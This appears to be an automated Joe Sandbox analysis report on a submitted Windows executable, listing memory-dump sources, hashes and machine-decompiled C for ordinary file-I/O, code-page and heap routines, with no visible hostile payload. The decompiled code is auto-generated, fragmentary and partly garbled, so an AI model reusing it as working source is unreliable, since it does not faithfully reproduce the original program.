GetCPInfo.KERNEL32(00000000,00880409,?,?,?,00880409,?,00000000), ref: 008805F7

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: ac386b43d09d81f336c4d21b78a31032df9964aaeab099649b25f2893a685c88
Instruction ID: 02dbe5eb2f51d83fffe61bd5897b5be264a9026c136d8682e32cad1a488f7980
Opcode Fuzzy Hash: ac386b43d09d81f336c4d21b78a31032df9964aaeab099649b25f2893a685c88
Instruction Fuzzy Hash: EF5133B0A003099EDB60FF65C8856BBBBE5FFA1314F14406ED086CB252E735994ACF91

Uniqueness

Uniqueness Score: -1.00%

Function 00861F7C Relevance: 3.1, APIs: 2, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00861F7C(signed int __ecx, long* _a4, signed int _a8, long _a12, signed int _a20, char _a24, long _a4124, long _a4128, long _a4132) {
				signed int _v0;
				long* _v4;
				intOrPtr _v8;
				void* _t30;
				long _t32;
				signed int _t33;
				void* _t35;
				long* _t38;
				void* _t41;
				long _t42;
				signed int _t46;
				long _t50;
				void* _t51;
				long _t52;
				intOrPtr* _t53;
				void* _t57;
				void* _t63;
				signed int _t67;
				signed int _t70;

				E00873AC0(0x1018);
				_t50 = _a4132;
				_t42 = _a4128;
				_t53 = __ecx;
				_t52 = _a4124;
				_v0 = __ecx;
				if( *((intOrPtr*)(__ecx + 8)) == 0xffffffff) {
					L21:
					_t30 = 1;
					L22:
					return _t30;
				}
				if( *((intOrPtr*)(__ecx + 0x10)) != 1) {
					__eflags = _t42;
					if(__eflags > 0) {
						L32:
						_a12 = _t42;
						_t32 = SetFilePointer( *(_t53 + 8), _t52,  &_a12, _t50); // executed
						__eflags = _t32 - 0xffffffff;
						if(_t32 != 0xffffffff) {
							goto L21;
						}
						_t33 = GetLastError();
						asm("sbb al, al");
						_t30 =  ~_t33 + 1;
						goto L22;
					}
					if(__eflags < 0) {
						L27:
						__eflags = _t50;
						if(_t50 == 0) {
							goto L32;
						}
						__eflags = _t50 - 1;
						if(_t50 != 1) {
							_t35 = E00861D6A(_t50);
						} else {
							 *0x88822c();
							_t35 =  *((intOrPtr*)( *((intOrPtr*)( *_t53 + 0x14))))();
							_t53 = _v0;
						}
						_t52 = _t52 + _t35;
						asm("adc ebx, edx");
						_t50 = 0;
						__eflags = 0;
						goto L32;
					}
					__eflags = _t52;
					if(_t52 >= 0) {
						goto L32;
					}
					goto L27;
				}
				_t38 = __ecx + 0x28;
				_a4 = _t38;
				if(_t50 != 1) {
					__eflags = _t50;
					if(_t50 != 0) {
						L23:
						_t30 = 0;
						goto L22;
					}
					L5:
					_t63 = _t42 - _t38[1];
					if(_t63 < 0 || _t63 <= 0 && _t52 <  *_t38) {
						goto L23;
					} else {
						_t46 = _t42;
						_t57 = _t52 -  *_t38;
						asm("sbb ecx, [eax+0x4]");
						_a8 = _t46;
						if(_t57 != 0 || _t57 != 0) {
							do {
								_t67 = _t46;
								if(_t67 > 0 || _t67 >= 0 && _t57 >= 0x1000) {
									L14:
									_t12 =  &_a20;
									 *_t12 = _a20 & 0x00000000;
									__eflags =  *_t12;
									_t51 = 0x1000;
									goto L15;
								} else {
									_t51 = _t57;
									_a20 = _t46;
									L15:
									 *0x88822c( &_a24, _t51);
									_t41 =  *((intOrPtr*)( *((intOrPtr*)( *_t53 + 0xc))))();
									if(_t41 <= 0) {
										goto L23;
									}
									_t46 = _v0;
									_t53 = _v8;
									asm("cdq");
									_t57 = _t57 - _t41;
									asm("sbb ecx, edx");
									_v0 = _t46;
									_t70 = _t46;
									if(_t70 > 0) {
										goto L14;
									}
								}
							} while (_t70 >= 0 && _t57 != 0);
							_t38 = _v4;
							goto L20;
						} else {
							L20:
							 *_t38 = _t52;
							_t38[1] = _t42;
							goto L21;
						}
					}
				}
				_t52 = _t52 +  *_t38;
				asm("adc ebx, [eax+0x4]");
				goto L5;
			}

0x00861f81
0x00861f86
0x00861f8e
0x00861f97
0x00861f9a
0x00861fa1
0x00861fa9
0x0086205b
0x0086205b
0x00862061
0x00862067
0x00862067
0x00861fb3
0x0086206e
0x00862070
0x008620a5
0x008620aa
0x008620b3
0x008620b9
0x008620bc
0x00000000
0x00000000
0x008620be
0x008620c6
0x008620c8
0x00000000
0x008620c8
0x00862072
0x00862078
0x00862078
0x0086207a
0x00000000
0x00000000
0x0086207c
0x0086207f
0x0086209a
0x00862081
0x00862088
0x00862092
0x00862094
0x00862094
0x0086209f
0x008620a1
0x008620a3
0x008620a3
0x00000000
0x008620a3
0x00862074
0x00862076
0x00000000
0x00000000
0x00000000
0x00862076
0x00861fb9
0x00861fbc
0x00861fc3
0x00861fcc
0x00861fce
0x0086206a
0x0086206a
0x00000000
0x0086206a
0x00861fd4
0x00861fd4
0x00861fd7
0x00000000
0x00861fe7
0x00861fe9
0x00861feb
0x00861fed
0x00861ff0
0x00861ff4
0x00861ffa
0x00861ffa
0x00861ffc
0x00862010
0x00862010
0x00862010
0x00862010
0x00862015
0x00000000
0x00862008
0x00862008
0x0086200a
0x0086201a
0x00862027
0x00862031
0x00862035
0x00000000
0x00000000
0x00862037
0x0086203b
0x0086203f
0x00862040
0x00862042
0x00862044
0x00862048
0x0086204a
0x00000000
0x00000000
0x0086204a
0x0086204c
0x00862052
0x00000000
0x00862056
0x00862056
0x00862056
0x00862058
0x00000000
0x00862058
0x00861ff4
0x00861fd7
0x00861fc5
0x00861fc7
0x00000000

APIs

SetFilePointer.KERNELBASE(000000FF,?,?,?), ref: 008620B3
GetLastError.KERNEL32 ref: 008620BE

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 267d544d978155b0803d7b7446e7748d59eecd8e8632ed1b90faf01e49a2f937
Instruction ID: 8639e6003f979f64917e887171e0d341b5e070bedecc26a80fe1bdfc33a538ab
Opcode Fuzzy Hash: 267d544d978155b0803d7b7446e7748d59eecd8e8632ed1b90faf01e49a2f937
Instruction Fuzzy Hash: 95418E35904F058FDB24DF18C54896AB7E6FB98310F1689ADE891D3261DB70EC45CB93

Uniqueness

Uniqueness Score: -1.00%

Function 008803A7 Relevance: 3.1, APIs: 2, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E008803A7(signed int __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, char _a8) {
				char _v8;
				char _v16;
				void* __ebp;
				char _t31;
				signed int _t36;
				char _t40;
				intOrPtr _t44;
				char _t45;
				signed int _t51;
				void* _t64;
				void* _t70;
				signed int _t75;
				void* _t81;

				_t81 = __eflags;
				_t68 = __edx;
				_v8 = E0087E105(__ebx, __ecx, __edx);
				E008804CE(__ebx, __ecx, __edx, __edi, __esi, _t81);
				_t31 = E0088013B(_t81, _a4);
				_v16 = _t31;
				_t57 =  *(_v8 + 0x48);
				if(_t31 ==  *((intOrPtr*)( *(_v8 + 0x48) + 4))) {
					return 0;
				}
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t70 = E0087DA90(_t57, 0x220);
				_t51 = __ebx | 0xffffffff;
				__eflags = _t70;
				if(__eflags == 0) {
					L5:
					_t75 = _t51;
					goto L6;
				} else {
					_t70 = memcpy(_t70,  *(_v8 + 0x48), 0x88 << 2);
					 *_t70 =  *_t70 & 0x00000000; // executed
					_t36 = E00880570(_t68, _t70, __eflags, _v16, _t70); // executed
					_t75 = _t36;
					__eflags = _t75 - _t51;
					if(_t75 != _t51) {
						__eflags = _a8;
						if(_a8 == 0) {
							E0087D4BF();
						}
						asm("lock xadd [eax], ebx");
						__eflags = _t51 == 1;
						if(_t51 == 1) {
							_t45 = _v8;
							__eflags =  *((intOrPtr*)(_t45 + 0x48)) - 0x893b40;
							if( *((intOrPtr*)(_t45 + 0x48)) != 0x893b40) {
								E0087D758( *((intOrPtr*)(_t45 + 0x48)));
							}
						}
						 *_t70 = 1;
						_t64 = _t70;
						_t70 = 0;
						 *(_v8 + 0x48) = _t64;
						_t40 = _v8;
						__eflags =  *(_t40 + 0x350) & 0x00000002;
						if(( *(_t40 + 0x350) & 0x00000002) == 0) {
							__eflags =  *0x893dc0 & 0x00000001;
							if(( *0x893dc0 & 0x00000001) == 0) {
								_v16 =  &_v8;
								E00880011(5,  &_v16);
								__eflags = _a8;
								if(_a8 != 0) {
									_t44 =  *0x893d60; // 0x2dc2c70
									 *0x893834 = _t44;
								}
							}
						}
						L6:
						E0087D758(_t70);
						return _t75;
					} else {
						 *((intOrPtr*)(E0087DA7D())) = 0x16;
						goto L5;
					}
				}
			}

0x008803a7
0x008803a7
0x008803b4
0x008803b7
0x008803bf
0x008803c8
0x008803cb
0x008803d1
0x00000000
0x008803d3
0x008803d7
0x008803d8
0x008803d9
0x008803e4
0x008803e6
0x008803ea
0x008803ec
0x0088041c
0x0088041c
0x00000000
0x008803ee
0x008803fb
0x00880401
0x00880404
0x00880409
0x0088040d
0x0088040f
0x0088042e
0x00880432
0x00880434
0x00880434
0x0088043f
0x00880443
0x00880444
0x00880446
0x00880449
0x00880450
0x00880455
0x0088045a
0x00880450
0x0088045b
0x00880461
0x00880466
0x00880468
0x0088046b
0x0088046e
0x00880475
0x00880477
0x0088047e
0x00880483
0x0088048c
0x00880491
0x00880497
0x00880499
0x0088049e
0x0088049e
0x00880497
0x0088047e
0x0088041e
0x0088041f
0x00000000
0x00880411
0x00880416
0x00000000
0x00880416
0x0088040f

APIs

Part of subcall function 0087E105: GetLastError.KERNEL32(?,?,00878F0C,?,?,?,00878987,00000050), ref: 0087E109
Part of subcall function 0087E105: _free.LIBCMT ref: 0087E13C
Part of subcall function 0087E105: SetLastError.KERNEL32(00000000), ref: 0087E17D
Part of subcall function 0087E105: _abort.LIBCMT ref: 0087E183

Part of subcall function 008804CE: _abort.LIBCMT ref: 00880500
Part of subcall function 008804CE: _free.LIBCMT ref: 00880534

Part of subcall function 0088013B: GetOEMCP.KERNEL32(00000000,?,?,008803C4,?), ref: 00880166

_free.LIBCMT ref: 0088041F
_free.LIBCMT ref: 00880455

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID:
API String ID: 2991157371-0
Opcode ID: b75e71e1a4ae1a90bd1310ddbaff3bf9de0c668001033cca5957f77565f67c10
Instruction ID: 3dec01aa915cccf83f051923addc592354348c28bcb63eaa7260c7c174d3ef87
Opcode Fuzzy Hash: b75e71e1a4ae1a90bd1310ddbaff3bf9de0c668001033cca5957f77565f67c10
Instruction Fuzzy Hash: 1531B131904208AFDB50FF69D845B99B7F4FF41325F2540AAEA08DB291EB319E44CF55

Uniqueness

Uniqueness Score: -1.00%

Function 008622A2 Relevance: 3.1, APIs: 2, Instructions: 83
timeCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E008622A2(void* __ecx, void* __esi, signed int _a4, signed int* _a8, signed int* _a12) {
				void* _v8;
				void* _v16;
				void* _v24;
				signed char _v25;
				signed char _v26;
				int _t35;
				signed char _t50;
				signed int* _t52;
				signed char _t58;
				void* _t59;
				void* _t60;
				signed int* _t61;
				signed int* _t63;

				_t60 = __esi;
				_t59 = __ecx;
				if( *(__ecx + 0x20) != 0x100 && ( *(__ecx + 0x20) & 0x00000002) == 0) {
					FlushFileBuffers( *(__ecx + 8));
				}
				_t52 = _a4;
				_t50 = 1;
				if(_t52 == 0 || ( *_t52 | _t52[1]) == 0) {
					_t58 = 0;
					_v25 = 0;
				} else {
					_t58 = 1;
					_v25 = 1;
				}
				_push(_t60);
				_t61 = _a8;
				if(_t61 == 0) {
					L9:
					_v26 = 0;
				} else {
					_v26 = _t50;
					if(( *_t61 | _t61[1]) == 0) {
						goto L9;
					}
				}
				_t63 = _a12;
				if(_t63 == 0 || ( *_t63 | _a4) == 0) {
					_t50 = 0;
				}
				if(_t58 != 0) {
					E00867172(_t52, _t58,  &_v24);
				}
				if(_v26 != 0) {
					E00867172(_t61, _t58,  &_v8);
				}
				if(_t50 != 0) {
					E00867172(_t63, _t58,  &_v16);
				}
				asm("sbb eax, eax");
				asm("sbb eax, eax");
				asm("sbb eax, eax");
				_t35 = SetFileTime( *(_t59 + 8),  ~(_v26 & 0x000000ff) &  &_v8,  ~(_t50 & 0x000000ff) &  &_v16,  ~(_v25 & 0x000000ff) &  &_v24); // executed
				return _t35;
			}

0x008622a2
0x008622a8
0x008622b1
0x008622bc
0x008622bc
0x008622c2
0x008622c8
0x008622cb
0x008622dc
0x008622de
0x008622d4
0x008622d4
0x008622d6
0x008622d6
0x008622e2
0x008622e3
0x008622e9
0x008622f6
0x008622f6
0x008622eb
0x008622f0
0x008622f4
0x00000000
0x00000000
0x008622f4
0x008622fb
0x00862301
0x0086230b
0x0086230b
0x0086230f
0x00862316
0x00862316
0x00862320
0x00862329
0x00862329
0x00862331
0x0086233a
0x0086233a
0x0086234a
0x00862358
0x00862368
0x00862370
0x0086237c

APIs

FlushFileBuffers.KERNEL32(?), ref: 008622BC
SetFileTime.KERNELBASE(?,?,?,?), ref: 00862370

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: c59f21944ec9542e3e43a18118b8c507fb938e4c7c95cebbcdfb4add2b7cba19
Instruction ID: ef74b03b2d30e443bdd9023f2a70d0fafa8d0105225301902ceda9a3dd6d7da3
Opcode Fuzzy Hash: c59f21944ec9542e3e43a18118b8c507fb938e4c7c95cebbcdfb4add2b7cba19
Instruction Fuzzy Hash: 2D21F0312486469BC714CF68C891AABBBE4FF56304F09499DF4C5C7291D728E90D9762

Uniqueness

Uniqueness Score: -1.00%

Function 00861BBE Relevance: 3.1, APIs: 2, Instructions: 82
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00861BBE(void* __ecx, WCHAR* _a4100, signed char _a4104) {
				short _v0;
				signed int _t27;
				void* _t29;
				signed char _t38;
				signed int _t42;
				long _t45;
				void* _t46;
				long _t48;

				E00873AC0(0x1000);
				_t38 = _a4104;
				_t46 = __ecx;
				_t42 = _t38 >> 1;
				if((_t38 & 0x00000010) != 0) {
					L3:
					_t48 = 1;
					__eflags = 1;
				} else {
					_t52 =  *((char*)(__ecx + 0x30));
					if( *((char*)(__ecx + 0x30)) != 0) {
						goto L3;
					} else {
						_t48 = 0;
					}
				}
				 *(_t46 + 0x20) = _t38;
				_t45 = ((_t42 ^ 0x00000001) << 0x1f) + 0x40000000;
				_t27 =  *(E0086386B(_t52, _a4100)) & 0x0000ffff;
				if(_t27 == 0x2e || _t27 == 0x20) {
					if((_t38 & 0x00000020) != 0) {
						goto L8;
					} else {
						_t39 = _a4100;
						_t29 = _t27 | 0xffffffff;
					}
				} else {
					L8:
					_t39 = _a4100;
					__eflags = 0;
					_t29 = CreateFileW(_a4100, _t45, _t48, 0, 2, 0, 0); // executed
				}
				 *(_t46 + 8) = _t29;
				if(_t29 == 0xffffffff && E00863553(_t39,  &_v0, 0x800) != 0) {
					 *(_t46 + 8) = CreateFileW( &_v0, _t45, _t48, 0, 2, 0, 0);
				}
				 *(_t46 + 0x10) =  *(_t46 + 0x10) & 0x00000000;
				 *((char*)(_t46 + 0x1c)) = 1;
				 *((char*)(_t46 + 0x15)) = 0;
				return E008668CD(_t46 + 0x32, _t39, 0x800) & 0xffffff00 |  *(_t46 + 8) != 0xffffffff;
			}

0x00861bc3
0x00861bc9
0x00861bd5
0x00861bd7
0x00861bdc
0x00861be8
0x00861bea
0x00861bea
0x00861bde
0x00861bde
0x00861be2
0x00000000
0x00861be4
0x00861be4
0x00861be4
0x00861be2
0x00861bf9
0x00861bfc
0x00861c07
0x00861c0d
0x00861c17
0x00000000
0x00861c19
0x00861c19
0x00861c20
0x00861c20
0x00861c25
0x00861c25
0x00861c25
0x00861c2c
0x00861c36
0x00861c36
0x00861c3c
0x00861c42
0x00861c6c
0x00861c6c
0x00861c6f
0x00861c7d
0x00861c81
0x00861c9b

APIs

CreateFileW.KERNELBASE(?,?,00000001,00000000,00000002,00000000,00000000,?), ref: 00861C36
CreateFileW.KERNEL32(?,?,00000001,00000000,00000002,00000000,00000000,?,?,00000800), ref: 00861C66

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 7169ca69238dcc8e396ad4528362771b1e09d1f0cacc7d5e8b444108ebec7e34
Instruction ID: ffa8f74bf09fd59ca98480f2e6d2ce30d225981c500d307f90658f0af3c53405
Opcode Fuzzy Hash: 7169ca69238dcc8e396ad4528362771b1e09d1f0cacc7d5e8b444108ebec7e34
Instruction Fuzzy Hash: 35210071044744AFE7309A69CC89FEB72ECFB09364F554A29F9D6C21C2C774A8849772

Uniqueness

Uniqueness Score: -1.00%

Function 00862380 Relevance: 3.1, APIs: 2, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00862380(void* __ecx) {
				long _v8;
				void* __ebp;
				long _t13;
				long _t15;
				signed int _t17;
				char* _t33;
				void* _t36;
				long _t37;
				void* _t39;

				_push(__ecx);
				_t36 = __ecx;
				_t33 = __ecx + 0x1e;
				if( *((intOrPtr*)(__ecx + 8)) != 0xffffffff) {
					_t21 = __ecx + 0x32;
					goto L4;
				} else {
					if( *_t33 == 0) {
						L12:
						_t17 = _t13 | 0xffffffff;
					} else {
						_t21 = __ecx + 0x32;
						E008618CC(0x8b2b44, _t39, __ecx + 0x32);
						L4:
						if( *((intOrPtr*)(_t36 + 0x10)) != 1) {
							_v8 = _v8 & 0x00000000;
							_t15 = SetFilePointer( *(_t36 + 8), 0,  &_v8, 1); // executed
							_t37 = _t15;
							if(_t37 != 0xffffffff) {
								L10:
								asm("cdq");
								_t17 = 0 + _t37;
								asm("adc edx, 0x0");
							} else {
								_t13 = GetLastError();
								if(_t13 == 0) {
									goto L10;
								} else {
									if( *_t33 == 0) {
										goto L12;
									} else {
										E008618CC(0x8b2b44, _t39, _t21);
										goto L10;
									}
								}
							}
						} else {
							_t17 =  *(_t36 + 0x28);
						}
					}
				}
				return _t17;
			}

0x00862383
0x00862386
0x0086238d
0x00862390
0x008623a7
0x00000000
0x00862392
0x00862395
0x00862402
0x00862402
0x00862397
0x00862397
0x008623a0
0x008623aa
0x008623ae
0x008623b8
0x008623c7
0x008623cd
0x008623d2
0x008623ee
0x008623f3
0x008623f8
0x008623fa
0x008623d4
0x008623d4
0x008623dc
0x00000000
0x008623de
0x008623e1
0x00000000
0x008623e3
0x008623e9
0x00000000
0x008623e9
0x008623e1
0x008623dc
0x008623b0
0x008623b0
0x008623b3
0x008623ae
0x00862395
0x00862401

APIs

SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000001), ref: 008623C7
GetLastError.KERNEL32 ref: 008623D4

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 8df9adfb7935185050637dc262d9b77262b0607338c5f8fb3b3525bbaf45a155
Instruction ID: 8f5fc848b2ba951d12aa5be35dbffb88a764039cb51f498f50fad16d0c7b64d2
Opcode Fuzzy Hash: 8df9adfb7935185050637dc262d9b77262b0607338c5f8fb3b3525bbaf45a155
Instruction Fuzzy Hash: 4611E131600B05EBD728CB28CD85BA6B3E8FB04370F6146A9E162D27E0DBB4ED49C750

Uniqueness

Uniqueness Score: -1.00%

Function 0087F087 Relevance: 3.0, APIs: 2, Instructions: 44
memoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E0087F087(void* __ecx, void* __edx, void* _a4, long _a8) {
				void* _t4;
				long _t7;
				void* _t13;
				void* _t14;
				long _t16;

				_t13 = __edx;
				_t10 = __ecx;
				_t14 = _a4;
				if(_t14 != 0) {
					_t16 = _a8;
					__eflags = _t16;
					if(_t16 != 0) {
						__eflags = _t16 - 0xffffffe0;
						if(_t16 <= 0xffffffe0) {
							while(1) {
								_t4 = RtlReAllocateHeap( *0x8c8d24, 0, _t14, _t16); // executed
								__eflags = _t4;
								if(_t4 != 0) {
									break;
								}
								__eflags = E0087D584();
								if(__eflags == 0) {
									goto L5;
								}
								_t7 = E0087C3DF(_t10, _t13, __eflags, _t16);
								_pop(_t10);
								__eflags = _t7;
								if(_t7 == 0) {
									goto L5;
								}
							}
							L7:
							return _t4;
						}
						L5:
						 *((intOrPtr*)(E0087DA7D())) = 0xc;
						L6:
						_t4 = 0;
						__eflags = 0;
						goto L7;
					}
					E0087D758(_t14);
					goto L6;
				}
				return E0087DA90(__ecx, _a8);
			}

0x0087f087
0x0087f087
0x0087f08d
0x0087f092
0x0087f0a0
0x0087f0a3
0x0087f0a5
0x0087f0b0
0x0087f0b3
0x0087f0da
0x0087f0e4
0x0087f0ea
0x0087f0ec
0x00000000
0x00000000
0x0087f0cb
0x0087f0cd
0x00000000
0x00000000
0x0087f0d0
0x0087f0d5
0x0087f0d6
0x0087f0d8
0x00000000
0x00000000
0x0087f0d8
0x0087f0c2
0x00000000
0x0087f0c2
0x0087f0b5
0x0087f0ba
0x0087f0c0
0x0087f0c0
0x0087f0c0
0x00000000
0x0087f0c0
0x0087f0a8
0x00000000
0x0087f0ad
0x00000000

APIs

_free.LIBCMT ref: 0087F0A8

Part of subcall function 0087DA90: RtlAllocateHeap.NTDLL(00000000,?,?,?,00878B1E,?,0000015D,?,?,?,?,00879FFA,000000FF,00000000,?,?), ref: 0087DAC2

RtlReAllocateHeap.NTDLL(00000000,?,?), ref: 0087F0E4

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AllocateHeap$_free
String ID:
API String ID: 1482568997-0
Opcode ID: 9ed4e31604499b097fd29a254e9c20d0eede45354dc69d6299e3604c9def4cdf
Instruction ID: 641fee01a68667d161b1148b01c0a442385193bb9d2ce00573944366a1e9385d
Opcode Fuzzy Hash: 9ed4e31604499b097fd29a254e9c20d0eede45354dc69d6299e3604c9def4cdf
Instruction Fuzzy Hash: A9F04432104A15A6CB31662B9C05B6A2768FF817B4B14C136FA1DD739FDB20DD009562

Uniqueness

Uniqueness Score: -1.00%

Function 0087CBAD Relevance: 3.0, APIs: 2, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0087CBAD(void* __eax, void* __ebx, void* __ecx, void* __edx) {

				 *((intOrPtr*)(__ebx + __eax + 0x33)) =  *((intOrPtr*)(__ebx + __eax + 0x33)) + __edx;
			}

0x0087cbb2

APIs

Part of subcall function 008808B0: GetEnvironmentStringsW.KERNEL32 ref: 008808B9
